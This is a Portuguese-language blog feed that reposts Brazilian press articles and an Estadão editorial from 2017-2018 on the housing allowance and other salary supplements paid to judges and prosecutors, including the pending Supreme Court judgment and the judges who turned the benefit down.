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<br /><b><br />ZERO HORA 17 de Março de 2018 <br /><br /><br />REPORTAGEM ESPECIAL </b><br /><br /><br /><b>Minoria silenciosa e malvista </b><br /><br /> <br /><br /> Eles são poucos e enfrentam a reprovação de colegas, inclusive com críticas e retaliações. Estima-se que menos de 15% dos membros do Judiciário e do Ministério Público (MP) abram mão do auxílio-moradia, muitos deles por questões morais e éticas.<br /><br /> O número exato é uma incógnita. No caso dos tribunais, os dados disponíveis no site do Conselho Nacional de Justiça (CNJ) não mencionam as motivações. É possível concluir que cerca de 30%, em um universo de 24,1 mil magistrados, estão fora da lista de contemplados, mas na conta entram aposentados e licenciados (sem direito à verba), juízes e desembargadores casados com outros beneficiados (que, em tese, não podem acumular o ganho), e magistrados com residências oficiais.<br /><br /> No MP, é mais difícil chegar ao percentual geral porque, embora o conselho nacional da categoria disponibilize as planilhas salariais, as verbas indenizatórias não são discriminadas. Isso impede análises mais refinadas.<br /><br /> Levando em conta apenas o Rio Grande do Sul, 5,4% dos membros em atividade do Tribunal de Justiça, do MP, da Justiça Militar e do Tribunal de Contas dispensam a ajuda de custo - seja por considerarem injusto ou por imposição legal. São 79 pessoas. Dos 16 desembargadores do TJ na lista, quatro teriam desistido do recurso por vontade própria - e apenas um deles, João Barcelos de Souza Jr., tornou pública a decisão. Em entrevista a ZH, em fevereiro, ele disse que não se sentiria confortável em receber o dinheiro, o que o levou a renunciar ao recurso:<br /><br /> - Como, com três imóveis próprios, eu poderia justificar o recebimento de auxílio-moradia?<br /><b><br /> QUEM ABRE MÃO RECEBE CRÍTICAS DOS COLEGAS</b><br /><br /> Na prática, casos como esse são ínfimos. A maioria mantém a decisão em sigilo por medo de ferir suscetibilidades. Essa é a preocupação de um juiz do Trabalho de Porto Alegre que aceitou falar sob anonimato. Ele nunca recebeu a verba por entender que a liminar "teve caráter corporativista" e por considerar equivocado o pagamento indiscriminado do benefício.<br /><br /> - Deveria ser ajuda de custo excepcional, como de fato foi entre 1979 e 2014, por isso neguei. Contei para dois ou três amigos e a minha mulher, só. Não quero que pareça que estou acusando os colegas de antiéticos. Seria muito custoso criar esse tipo de atrito com eles. Qualquer categoria profissional faria a mesma coisa que a magistratura está fazendo - diz o juiz.<br /><br /> A carga de tensionamento nos bastidores vem aumentando desde que a polêmica ganhou repercussão. A proximidade do julgamento contribui para isso, na avaliação do juiz Celso Karsburg, do Tribunal Regional do Trabalho da 4ª Região em Santa Cruz do Sul, no Vale do Rio Pardo. Em 2014, ele também decidiu ficar sem o auxílio, por achar imoral. Tornou pública a opção e foi alvo de críticas de colegas.<br /><br /> - Recebi muitos e-mails indignados. Caíram de pau em cima de mim. Agora estão todos em um brete sem saída. São favas contadas que o auxílio-moradia vai cair. Sinto pena dos colegas pela questão financeira, mas não tem justificativa - afirma o juiz, que também abriu mão do auxílio-alimentação.<br /><br /><b><br />O juiz que decidiu devolver dinheiro </b><br /><br /><br /> Em novembro de 2017, o pedido de um juiz do Tribunal de Justiça do Maranhão (TJ-MA) surpreendeu a direção do órgão. Carlos Roberto Gomes de Oliveira Paula, 56 anos, queria desistir dos auxílios-moradia e alimentação e ainda devolver o dinheiro que recebido. Titular da 2ª Vara do Termo Judiciário de Passo Lumiar, na região metropolitana de São Luís, ele também já havia dispensado os auxílio-livro e saúde.<br /><br /> - Sempre me senti constrangido. Em 2014, quando o auxílio-moradia foi liberado, li um artigo dizendo que os deuses estavam nus. Fiquei muito impactado com aquilo, mas não tive coragem de agir. No ano passado, conversei com a família e escrevi para o presidente do meu tribunal renunciando a essas vantagens. São uma forma de salário indireto, e isso não é certo - diz o magistrado, irmão do humorista Chico Anysio, morto em 2012.<br /><br /> Em janeiro deste ano, Paula autorizou o TJ-MA a descontar os valores retroativos, de forma parcelada. Os descontos ainda não começaram, segundo o juiz, porque o montante está sendo calculado pelo tribunal.<br /><br /> - Foi uma das decisões mais acertadas que tomei na vida. Recebi e recebo críticas de colegas, mas encaro como normais - afirma o juiz.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-33529939668681747372018-03-17T19:35:00.004-03:002018-03-17T19:36:04.063-03:00AUXÍLIO-MORADIA SOB FOGO CRUZADO <div dir="ltr" style="text-align: left;" trbidi="on">
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<b><br /><br />ZERO HORA 17 de Março de 2018 <br /><br /><br />REPORTAGEM ESPECIAL <br /><br /><br /> JULIANA BUBLITZ<br /><br /><br /> PAGAMENTO DE AJUDA de custo a juízes e promotores coloca Judiciário e parte da sociedade em oposição. STF deve decidir na quinta-feira se acaba com benefício </b><br />
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Em meio a críticas aos altos salários do Judiciário, o Supremo Tribunal Federal (STF) se prepara para discutir, na próxima quinta-feira, a validade do benefício que levou a magistratura brasileira ao centro de uma polêmica. Previsto em lei desde 1979 para indenizar juízes e desembargadores sem residência oficial, o auxílio-moradia passou a compor os contracheques de 70% dos magistrados no país, inclusive daqueles que têm casa própria na cidade na qual trabalham.<br />
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Por ser classificada como verba indenizatória (destinada a ressarcir despesas em serviço), a ajuda de custo de R$ 4.377,73 permite contracheques superiores ao teto constitucional do funcionalismo (R$ 33.763) e é livre de Imposto de Renda (IR). Quem ganha não precisa comprovar gastos, pode usar o dinheiro como se fosse parte do salário. Hoje, sem contar com essa verba, o subsídio de um juiz gaúcho em início de carreira é de R$ 22.213,44, podendo chegar a R$ 27.424,01. Desembargadores recebem R$ 30.471,11.<br />
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Até 2014, a concessão do recurso era limitada e não seguia padrão. Embora a vantagem estivesse expressa desde 1979 na Lei Orgânica da Magistratura (Loman), o pagamento não havia sido regulamentado. O cenário mudou a partir de 2014, por conta de uma liminar (decisão provisória) concedida pelo ministro do STF Luiz Fux, assegurando a um grupo de juízes federais direito ao adicional. A prerrogativa foi estendida a toda a magistratura do país e, por isonomia, aos membros do Ministério Público (MP) e dos tribunais de Contas.<br />
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Na sequência, Conselho Nacional de Justiça (CNJ) e Conselho Nacional do MP regulamentaram a medida. Os repasses, então, passaram a ser padronizados e a contemplar um número crescente de beneficiados. A situação acabou motivando ações judiciais contra os pagamentos, cujo impacto financeiro geral era desconhecido até o fim do ano passado. Assim que o CNJ começou a divulgar os salários da magistratura em planilhas detalhadas, foi possível somar os valores. Conforme apontou o jornal O Estado de S. Paulo, o montante chegou a R$ 76 milhões no mês de dezembro, em 59 tribunais. O tema voltou a estampar manchetes e a provocar controvérsia.<br />
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Sob pressão, Fux liberou o caso para análise definitiva do plenário e, em fevereiro, a presidente da Corte, ministra Cármen Lúcia, marcou o julgamento para quinta-feira. O anúncio causou furor no meio jurídico, especialmente entre juízes federais, que serão os primeiros atingidos se a liminar cair. Em protesto, a categoria paralisou as atividades na última quinta- feira, com manifestações em diversas cidades, exigindo que o STF amplie o foco do debate para todo o serviço público - a verba também é paga no Executivo e no Legislativo, com valores e regras diferentes.<br />
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- Se é para discutir, vamos discutir de forma ampla, sem deixar ninguém de fora. O que está parecendo é que a cabeça dos juízes federais está sendo oferecida de bandeja - reclama o presidente da Associação dos Juízes Federais do Rio Grande do Sul (Ajufergs), Gerson Godinho da Costa.<br />
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RETALIAÇÃO À LAVA-JATO, AFIRMAM DEFENSORES<br />
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Os defensores do auxílio afirmam que há fundamentação legal para mantê-lo, já que a Loman prevê, expressamente, "ajuda de custo, para moradia, nas localidades em que não houver residência oficial à disposição do magistrado". A lei não faz restrição a profissionais com imóveis registrados em seus nomes.<br />
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- Sabemos que será difícil o STF escapar do caldo de pressão que se formou. Não nos furtamos de dizer que a matéria é controvertida. O que não aceitamos é que se iguale quem recebe essa verba, prevista em lei, a pes- soas que praticam ilícitos. Essa é a razão pela qual dizer que o auxílio- moradia encerra imoralidade é um equívoco - diz o vice-presidente administrativo da Associação dos Juízes do RS (Ajuris), Orlando Faccini Neto.<br />
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Embora poucos profissionais tenham decidido abrir mão da vantagem, a maioria por considerá-la imoral (leia mais ao lado), muitos dos que defendem a legalidade da verba afirmam que há uma campanha difamatória contra o Judiciário. A tentativa de desgastar a imagem dos julgadores seria uma reação à Operação Lava-Jato.<br />
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- Quanto mais ricos e poderosos vão para a cadeia, tanto maior é a pressão econômica contra os juízes. Nunca houve combate à corrupção tão eficaz como existe hoje, e a reação é extremamente consistente. Não digo que há conspiração em curso, mas um ambiente de revanchismo evidente, partindo dos políticos - sustenta Túlio Martins, vice-presidente do Tribunal de Justiça do Estado.<br />
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<b>ESTRATÉGIA PARA ROMPER TETO, AVALIA ESPECIALISTA</b><br />
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Outro argumento usado em favor da permanência do auxílio é de ordem financeira. Presidente da Ajuris, Vera Lúcia Deboni lembra que o último reajuste nos subsídios foi aprovado em dezembro de 2014. Segundo ela, as perdas acumuladas chegam a 40% e não há perspectivas de reposição em 2018. Vera discorda de que a verba indenizatória seja uma compensação, mas muitos magistrados admitem que, a partir da liminar de Fux, a ajuda de custo passou a exercer essa função.<br />
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- Na prática, virou complemento salarial, sim, mas não tem nada de ilegal, tanto que o valor está nos portais de transparência para quem quiser ver. É um direito. O erro foi, lá na origem, terem dado esse nome. Isso constrange. De certa forma, acabou virando um problema para o Judiciário. É bom que o STF bote um ponto final nisso, seja qual for a decisão - avalia o presidente do Tribunal de Justiça Militar do Rio Grande do Sul, juiz-coronel Paulo Roberto Mendes.<br />
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Críticos da vantagem entendem que o pagamento virou "aberração" quando perdeu o caráter extraordinário e avaliam que, na prática, o auxílio de fato se tornou um aditivo salarial. Só que, nesse caso, sustentam que o valor deveria obrigatoriamente ter desconto de IR, inclusive de forma retroativa.<br />
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- Isso deveria valer não apenas para o auxílio-moradia, mas para todos os penduricalhos. Do jeito que ficou, é o melhor dos mundos para quem recebe. É verdade que o subsídio (salário) está congelado, mas não se pode esquecer desse conjunto de verbas que foi sendo incorporado - destaca o economista Gil Castello Branco, secretário-geral da ONG Contas Abertas.<br />
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A entidade estima que, desde 2014, a indenização para moradia custou cerca de R$ 5,4 bilhões aos cofres públicos, sem contar outros adicionais, que, somados, acabam contribuindo para compor superssalários.<br />
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- A partir do momento em que foram divulgadas as remunerações, ficou caracterizado que os maiores vencimentos médios do poder público estão no Judiciário, inclusive excedendo o teto constitucional. Em muitos casos, o teto virou piso. É preciso que se faça avaliação rigorosa, levando em conta tudo isso - defende Castello Branco.<br />
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-72874050140313906322018-01-04T10:57:00.001-02:002018-01-04T10:57:33.994-02:00AUXILIO MORADIA DE 39 MILHÕES PARA JUÍZES DO RIO GRANDE DO NORTE<div dir="ltr" style="text-align: left;" trbidi="on">
<br /> <b>Luiz Vassallo, Julia Affonso e Fausto Macedo <br /><br /> O ESTADÃO 28 Novembro 2017 | 05h00 </b><br /> <br /><img height="354" src="http://politica.estadao.com.br/blogs/fausto-macedo/wp-content/uploads/sites/41/2017/11/auxilio-1.png" width="640" /><br /><br /><b>Auxílio-moradia aos desembargadores. </b><br /><br />O Tribunal de Justiça do Rio Grande do Norte pagou R$ 39,1 milhões em auxílio moradia aos juízes e desembargadores, no mês de outubro, por decisão do Pleno da própria Corte. Os valores são retroativos ao período entre 2009 e 2014 e foram destinados a magistrados que, segundo o TJ, ‘faziam jus ao recebimento do benefício’. Em média, R$ 130 mil foram depositados na conta de cada – juízes e desembargadores, alguns deles já aposentados. <br /><br /><br />Segundo o Portal de Transparência do TJ/RN, foram pagos R$ 39,1 milhões. Em uma lista com nomes e remunerações obtida pelo Estadão, há 217 magistrados que receberam R$ 28 milhões. <br /><br /><br />Os magistrados mais bem aquinhoados pela decisão judicial receberam R$ 152,3 mil – entre eles oito desembargadores. Do total, 74% receberam R$ 130 mil ou mais. <br /><br /><br />O pagamento foi determinado por sessão extraordinária do Pleno, no dia 27 de setembro. O valor mensal para este benefício é de R$ 4,7 mil mensais. <br /><br />De acordo com o Tribunal, o pagamento dos valores é embasado no artigo 65 da Lei Orgânica da Magistratura, que ‘prevê a ajuda de custo para moradia a magistrados que não tenham residência oficial na comarca em que trabalham’. <br /><br />“Portanto, os valores referem-se ao pagamento de auxílio moradia retroativo para os magistrados que estavam em atividade no período compreendido entre os anos de 2009 a 2014 e que faziam jus ao recebimento do benefício”, afirma a Corte. <br /><br />O pagamento foi reivindicado pela Associação dos Magistrados do Rio Grande do Norte na própria Corte, em 2014. O presidente da entidade, Cleofas Coelho, recebeu R$ 138.625,12. <br /><br />O ministro João Otávio Noronha, do Conselho Nacional de Justiça, chegou a mandar os magistrados devolverem os valores. A polêmica chegou ao Supremo Tribunal Federal, onde o ministro Marco Aurélio Mello acolheu liminarmente recurso da Associação dos Magistrados do Brasil (AMB) para suspender a decisão do CNJ. <br /><br /><b>COM A PALAVRA, O TRIBUNAL DE JUSTIÇA DO RIO GRANDE DO NORTE </b><br /><br />“A Lei Orgânica da Magistratura Nacional, em seu artigo 65, prevê a ajuda de custo para moradia a magistrados que não tenham residência oficial na comarca em que trabalham. Portanto, os valores referem-se ao pagamento de auxílio moradia retroativo para os magistrados que estavam em atividade no período compreendido entre os anos de 2009 a 2014 e que faziam jus ao recebimento do benefício.” <br /><br />“Apenas 12 comarcas no Rio Grande do Norte têm residência oficial para magistrado. Os juízes que moraram nas casas oficiais entre 2009 e 2014 tiveram que declarar o período, que não é objeto de pagamento.” <br /><br /><b>COM A PALAVRA, O PRESIDENTE DA ASSOCIAÇÃO DOS MAGISTRADOS DO RIO GRANDE DO NORTE </b><br /><br />O juiz Cleofas Coelho, presidente da Associação dos Magistrados do Rio Grande do Norte, disse que o pagamento do auxílio-moradia foi realizado a partir do processamento regular de um requerimento administrativo pela entidade. <br /><br />ESTADO: Como foi possível esse pagamento? <br /><br />CLEOFAS COELHO: O pagamento foi realizado a partir do processamento regular de um requerimento administrativo formulado pela AMARN – Associação dos Magistrados do RN em novembro de 2014 que tramitou perante os setores administrativos do Tribunal de Justiça do RN e culminou com o pagamento em outubro/2017. <br /><br />ESTADO: Qual a base para o desembolso? <br /><br />CLEOFAS COELHO: O direito deferido tem base nos valores devidos à época, respeitada a prescrição, e previsto na Lei Complementar Estadual 165/1999, na Lei Complementar Estadual 141/1996, que contempla por simetria, e a Lei Complementar n.º 35/1979, todas prevendo expressamente o pagamento do Auxílio Moradia aos Magistrados que não possuam residência oficial. <br /><br />ESTADO: Qual a sua avaliação sobre esse tipo de fonte? <br /><br />CLEOFAS COELHO: O desembolso foi realizado a partir de verba de superávit financeiro do próprio Poder Judiciário Estadual, fonte regular de pagamento de pessoal. <br /><br />ESTADO: O sr. considera justo? <br /><br />CLEOFAS COELHO: Os órgãos do Poder Judiciário estão habilitados para julgar e acolher requerimentos que estejam amparados em lei. <br /><br />ESTADO: Quanto o sr. recebeu? <br /><br />CLEOFAS COELHO: Os valores recebidos pelos magistrados beneficiários estão disponíveis no Portal de Transparência do Poder Judiciário do RN http://ww4.tjrn.jus.br/portalTransparencia/despesas.aspx </div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-19978693508015878632018-01-04T10:51:00.000-02:002018-01-04T10:51:02.211-02:00FUX NEGA AÇÃO PARA BARRAR AUXÍLIO MORADIA<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf57ZltDXTlrEs5hbrA5lVzxIO9FVxpseYE2ZBxJPfaCnnaVDu88Y4KmSLBfaLp7vWqXWTMP6TV8Tav1YG8Mt5ivk2yXndV3ObmLUwxYMCKnb4yBizb_21XzRr2dpW5a0Li0JJFnu-bA0/s1600/FUX.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="656" data-original-width="984" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf57ZltDXTlrEs5hbrA5lVzxIO9FVxpseYE2ZBxJPfaCnnaVDu88Y4KmSLBfaLp7vWqXWTMP6TV8Tav1YG8Mt5ivk2yXndV3ObmLUwxYMCKnb4yBizb_21XzRr2dpW5a0Li0JJFnu-bA0/s640/FUX.jpg" width="640" /></a></div>
<br /> <br /><br /> <b>Fux nega ação para barrar a juízes auxílio-moradia </b><br /> <br /> <br /> <img src="http://www.dgabc.com.br/Content/themes/dgabc2013/images/img_estadao_conteudo.png" /> <br /> 12/12/2017 <br /><br /> O ministro Luiz Fux, do Supremo Tribunal Federal, negou seguimento a uma ação popular movida contra decisão que autorizou o pagamento de R$ 4,3 mil em auxílio-moradia a magistrados, promotores e conselheiros de Tribunais de Contas. A ação foi movida pelo Sindicato dos Servidores da Justiça de 2ª Instância do Estado de Minas, para que sejam declarados inconstitucionais os valores conferidos a magistrados que tenham residência ou domicílio na mesma comarca em que trabalham. <br /><br />De acordo com a entidade, o pagamento do benefício, em modalidade indenizatória - que implica ressarcimento do servidor por gastos decorrentes das suas próprias funções -, vem sendo, na prática, uma forma de aumentar a remuneração dos juízes. "Afinal, o que está sendo indenizado? A moradia? Desde quando o agente público que trabalha e reside ou tem domicílio no local de sua lotação tem direito a ter a moradia custeada pela administração, na verdade, por todos os cidadãos brasileiros?", questionou a entidade dos servidores de Minas.<br /><br />Desde setembro de 2014, quando o próprio Fux acolheu ação movida por um conjunto de magistrados, com apoio da Associação Nacional dos Juízes Federais, e proferiu decisão favorável aos pagamentos dos benefícios, o benefício já custou R$ 4,5 bilhões aos cofres públicos, de acordo com estimativa da ONG Contas Abertas. <br /><br />O secretário-geral da entidade, Gil Castello Branco, disse que a margem de erro do cálculo é mínima, uma vez que são raros os magistrados que recusam receber a indenização. "Em um dos Estados, seis juízes não aceitaram. No Espírito Santo, apenas um se recusou a receber". <br /><br />De acordo com informações da Contas Abertas, atualmente há 17 mil magistrados e 13 mil procuradores do Ministério Público Federal com potencial para receber o auxílio-moradia. Dados comparados da ONG dão conta de que o auxílio-moradia corresponde ao dobro do piso salarial dos professores, no valor de R$ 2,9 mil. <br /><b><br />Ação popular</b><br /><br />Em sua manifestação na ação popular, Fux não entrou no mérito da questão e levou em consideração decisões anteriores da Corte que sustentam o entendimento de que não cabe mover ações populares contra decisões judiciais - atos jurisdicionais.<br /><br />Ao negar o seguimento da ação, na semana passada, Fux evocou decisão da Segunda Turma da Corte, de março de 2015, em que ficou estabelecido que "o Supremo Tribunal Federal - por ausência de previsão constitucional - não dispõe de competência originária para processar e julgar ação popular promovida contra qualquer outro órgão ou autoridade da República". "No âmbito da doutrina especializada do processo civil coletivo, o entendimento também é pacífico", destacou o ministro na sua decisão. Procurado, o gabinete do ministro não se manifestou sobre a decisão.<br /><br /><b>Barroso</b><br /><br />Em outra ação que julga validade da concessão do auxílio-moradia a todos os juízes, o ministro relator Luís Roberto Barroso encaminhou o caso para o plenário do Supremo Tribunal Federal. O processo ainda não foi pautado pela presidente da Corte, Cármen Lúcia. As informações são do jornal O Estado de S. Paulo. </div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-28971472178735577942018-01-04T10:48:00.000-02:002018-01-04T10:48:07.101-02:00ASSOCIAÇÃO DE JUIZES CELEBRA MANUTENÇÃO DE SALÁRIOS ACIMA DO TETO<div dir="ltr" style="text-align: left;" trbidi="on">
<br /> <br /><b> Coluna do Estadão 21 Dezembro 2017 | 05h30 </b><br /><br /><a href="http://politica.estadao.com.br/blogs/coluna-do-estadao/wp-content/uploads/sites/352/2017/12/ajufe.jpg"><img src="http://politica.estadao.com.br/blogs/coluna-do-estadao/wp-content/uploads/sites/352/2017/12/ajufe.jpg" /></a> <br /><br />O presidente da Ajufe, Roberto Veloso, enviou mensagem de fim de ano aos juízes federais do País comemorando o fato de, em 2017, não ter sido votado no Congresso o projeto que acaba com os supersalários e pela manutenção do auxílio-moradia, que custa mais de R$ 1 bilhão ao erário. A concessão do benefício é questionada no Supremo. Na mensagem, Veloso também celebra o adiamento da discussão da reforma da Previdência, que “traria grandes prejuízos aos juízes federais”, segundo ele, e convida os associados a se manifestarem contra a proposta em 2018. <br /><br />Discurso. “Apesar de toda campanha para nos atingir financeiramente, não perdemos nada. O projeto do extrateto, que estava em vias de aprovação, não foi votado este ano”, escreveu na mensagem o presidente da Associação dos Juízes Federais (Ajufe). Ele enxerga nas iniciativas para reduzir os supersalários uma retaliação ao combate à corrupção. <br /><br />Tem mais. Em outra mensagem aos juízes, o presidente da Ajufe confessa que busca “interlocutores” para pressionar o Supremo a manter o auxílio-moradia e apoiar outro benefício. O ministro Ricardo Lewandowski é associado à entidade. <br /> <br /> <br /><b>Plano B</b>. Caso o Supremo acabe com a verba de R$ 4,3 mil mensais, a Ajufe defende como alternativa a aprovação de adicional a título de valorização por tempo na magistratura e no MP.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-49857742701827319192018-01-04T10:46:00.004-02:002018-01-04T10:46:36.159-02:00A FARRA DOS PENDURICALHOS<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="titulo">
<h2>
Estadão critica auxílios salariais de juízes: há mais de 40</h2>
<h5>
<span>POR</span> <em class="BR">GBrasil</em> | <em>25/12/2017</em></h5>
</div>
<div class="clear">
</div>
<div class="imagem">
<img alt="img/noticias/Estadão critica auxílios salariais de juízes: há mais de 40" src="http://gbrasil.com/img/noticias/judiciario-gbrasil.png" width="100%" />
</div>
<div class="texto">
<span class="letraTexto"><br /></span> Por
causa do excesso de penduricalhos que foram incorporados ao longo dos
anos ao salário e juízes e desembargadores, ficou quase impossível
determinar hoje quanto o poder Judiciário gasta com folha salarial no
Brasil, diz editorial publicado nesta segunda-feira de Natal pelo jornal
O Estado de S. Paulo. Estima-se que, entre janeiro e novembro de 2017,
segundo o Estadão, estes penduricalhos tenham custado aproximadamente R$
890 milhões aos cofres públicos.<br />
<br />
<strong>CONFIRA ÍNTEGRA DO EDITORIAL:</strong><br />
<br />
<strong>A farra dos penduricalhos</strong><br />
<br />
A banalização dos benefícios pecuniários pagos à magistratura tornou
impossível saber ao certo qual é o custo efetivo do Poder Judiciário com
a folha de pagamento de seus juízes, desembargadores e ministros. Ao
todo, são 91 tribunais e em quase todos seus integrantes ganham verba de
representação, bonificações e gratificações sob a forma de
auxílio-moradia, auxílio-alimentação, auxílio-saúde, auxílio-livro,
auxílio-paletó e vários outros penduricalhos pagos com dinheiro dos
contribuintes. Como cada tribunal tem sua lista de penduricalhos, a área
técnica do Conselho Nacional de Justiça (CNJ) estima que existam em
todo o País 40 tipos distintos de gratificações, representações e
adicionais aos salários dos juízes.<br />
<br />
Com base em informações atualizadas enviadas ao CNJ sobre os
vencimentos de cada um de seus magistrados, o Estadão Dados constatou
que, no período entre janeiro e novembro de 2017, esses penduricalhos
custaram R$ 890 milhões aos cofres públicos. Descobriu, igualmente, que
os penduricalhos pagos aos 14 mil magistrados dos Tribunais de Justiça
representam, em média, 30% de seu salário básico. Descobriu, ainda, que
três em cada quatro juízes estaduais recebem auxílio-moradia,
independentemente da cidade onde trabalham e do fato de possuírem ou não
residência própria.<br />
<br />
Além disso, como os penduricalhos são pagos a título de verba
indenizatória, e não como vencimentos, os valores não são levados em
conta no cálculo do teto salarial estabelecido pela Constituição para a
administração pública, que hoje é de R$ 33,7 mil. Pela pesquisa do
Estadão Dados, um terço dos juízes estaduais tem vencimentos líquidos
superiores ao teto. A remuneração nacional média desse grupo é de R$
42,5 mil. Em Rondônia, a média é de R$ 68,8 mil. No topo da lista, um
magistrado desse Estado recebeu recentemente R$ 227 mil no contracheque.
E, em julho, um juiz de primeira instância do Estado de Mato Grosso
recebeu quase duas vezes e meia esse valor.<br />
<br />
Ao defender os penduricalhos da magistratura, que sempre esteve entre
as categorias mais bem pagas do funcionalismo público, os presidentes
dos tribunais alegam que, se não receberem salários equivalentes aos
diretores jurídicos das grandes empresas, os juízes não seriam
eficientes na defesa da cidadania e na decisão das questões de alto
relevo público. Independentemente da falta de uma relação lógica entre
uma coisa e outra, pois a eficiência de um magistrado depende de sua
competência, de seu esforço e de sua responsabilidade, os dirigentes da
Justiça também não negam que a multiplicação dos penduricalhos foi a
resposta que o Judiciário deu ao Executivo, quando os responsáveis pelas
finanças públicas alegaram não dispor de recursos para aumentar ainda
mais os já polpudos salários dos magistrados. Há três anos, o presidente
do Tribunal de Justiça de São Paulo (TJSP) chegou ao disparate de
invocar a necessidade de um padrão mínimo de elegância dos juízes para
justificar a concessão dos penduricalhos.<br />
<br />
O principal argumento da magistratura é que esses benefícios são
previstos por lei, motivo pelo qual seu pagamento não seria irregular. O
problema, porém, não está na legalidade dos benefícios, mas na sua
falta de legitimidade, afirma o ex-presidente do STF Carlos Ayres
Britto, profundo conhecedor das artimanhas dos magistrados para burlar
as limitações impostas pela Constituição que juraram cumprir. “À medida
que há claraboias nesse teto, perde-se a noção dos custos do
Judiciário”, afirma o ex-ministro.<br />
<br />
A farra dos penduricalhos no Judiciário chegou a tal ponto que até
juízes aposentados entraram com ações reivindicando, em nome do
princípio da isonomia, os mesmos “direitos” dos magistrados da ativa.
Isso mostra o grau de descolamento da realidade por parte de uma
corporação incapaz de perceber a crise econômica em que o País se
encontra e de compreender que, embora os Poderes sejam independentes, o
cofre é um só e a responsabilidade sobre o que nele sai e entra é do
Executivo.<br />
</div>
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-53816090942832005462017-12-24T10:30:00.002-02:002017-12-24T10:30:22.155-02:00A FARRA DOS PENDURICALHOS<div dir="ltr" style="text-align: left;" trbidi="on">
<b>GAUCHA ZH - 24/12/2017<br /><br /><br />TJs pagam duas vezes mais auxílios do que altas Cortes. Levantamento mostra que juízes e desembargadores ganham em média R$ 5 mil em ‘penduricalhos’ ante R$ 2,3 mil pagos no STJ e STM, em Brasília </b><br /><img src="http://zh.rbsdirect.com.br/imagesrc/17911339.jpg?w=52" /><br /><br /><br />Estadão Conteúdo<br /><br /><a href="mailto:?subject=TJs%20pagam%20duas%20vezes%20mais%20aux%C3%ADlios%20do%20que%20altas%20Cortes&body=https://gauchazh.clicrbs.com.br/politica/noticia/2017/12/tjs-pagam-duas-vezes-mais-auxilios-do-que-altas-cortes-cjbkmjfa7009h01qm5p78o6ci.html"></a><br /><br /><img height="426" src="https://www.rbsdirect.com.br/imagesrc/23990855.jpg?w=700" width="640" />Camila Domingues / Especial<br /><br /><br />Magistrados estaduais recebem mais "penduricalhos" do que juízes auxiliares e ministros de tribunais superiores, em <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/brasilia/">Brasília</a>. De auxílio-moradia a "auxílio-livro", essas indenizações nos contracheques de juízes e desembargadores dos Tribunais de Justiça (TJs) chegam a ser mais do que o dobro pago a integrantes do Superior Tribunal de Justiça (STJ) e do Superior Tribunal Militar (STM). Em média, a diferença no fim do mês é de R$ 5 mil ante R$ 2,3 mil.<br /><br /><br />Levantamento feito pelo Estadão Dados, com base nas informações divulgadas pelo Conselho Nacional de Justiça (<a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/cnj/">CNJ</a>), comparou os ganhos extras nos vencimentos de servidores de tribunais superiores com os estaduais. Enquanto no segundo caso os auxílios representavam um ganho médio de até 18% em relação ao salário básico, para os ministros e juízes dos superiores, o valor fica por volta de 8%.<br /><br /><br />O <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/tst/">Tribunal Superior do Trabalho</a> (TST) não informou os dados de forma precisa. O <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/tse/">Tribunal Superior Eleitoral</a> (TSE) e o <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/stf/">Supremo Tribunal Federal</a> (STF) foram desconsiderados do cálculo. O TSE é composto por integrantes com mandatos (não vitalícios) e há ministros que nem sequer recebem vencimentos. O STF, apesar de a presidente Cármen Lúcia chefiar o CNJ, não repassa dados porque, segundo sua assessoria, "não integra o rol de tribunais submetidos ao controle administrativo e financeiro" do órgão.<br /><br /><br />O País tem 16 mil juízes e desembargadores e os dois tribunais analisados somam 141 magistrados. O presidente da Associação de Magistrados do Brasil (AMB), Jayme de Oliveira, defende a legalidade dos auxílios e diz que a causa da desigualdade entre as instâncias é uma marca da Federação. - Cada Estado tem suas peculiaridades e particularidades, tem de se respeitar isso dentro do regime federativo. Essas verbas são legítimas e devem permanecer - disse.<br /><br /><br />Oliveira argumenta que ministros recebem outras vantagens. - Nos tribunais superiores, eles têm direito a moradia direta, apartamento funcional e demais ajudas de custo. Tribunais superiores garantem carro e motorista aos ministros.<br /><br /><br />No entanto, para o ministro aposentado do STF Eros Grau, o motivo das discrepâncias nos vencimentos é o desrespeito à Constituição. - O que existe é o que está escrito na Constituição: ou se cumpre ou é a desordem - afirmou. -Eu sou ministro aposentado e recebo uma quinta parte do que hoje ganha um juiz por aí. Isso é uma barbárie. Eros deixou o Supremo em 2010 e hoje atua como advogado. Segundo o site do STF, seu vencimento líquido é de R$ 22,5 mil.<br /><br /><br />Na semana passada, o ministro do STF Luiz Fux liberou para o plenário o julgamento de uma ação sobre auxílio-moradia a juízes federais que estava parada em seu gabinete desde 2014. A iniciativa de Fux ocorreu um dia após o Estado publicar o impacto anual dos "penduricalhos" pelo País, cerca de R$ 890 milhões.<br /><br /><br />A consequência desses auxílios é direta no contracheque dos magistrados. Tanto nos TJs como STJ e STM, há juízes com rendimentos superiores ao teto constitucional - fixado hoje no salário básico dos ministros do Supremo, de R$ 33.763,00. Isso porque estão inclusos direitos eventuais e indenizações diversas. Apesar de nas Cortes de recursos não constarem casos mais extremos, a proporção de ministros que recebem acima do teto é de mais da metade - 95 do total de 141 - contra um terço dos magistrados estaduais.<br /><br /><br />TJs e tribunais superiores, em Brasília, defendem a legalidade dos auxílios e das demais indenizações por estarem de acordo com a Lei Orgânica da Magistratura e resoluções do CNJ.<br /><br /><br />As informações são do jornal O Estado de S. Paulo.</div>
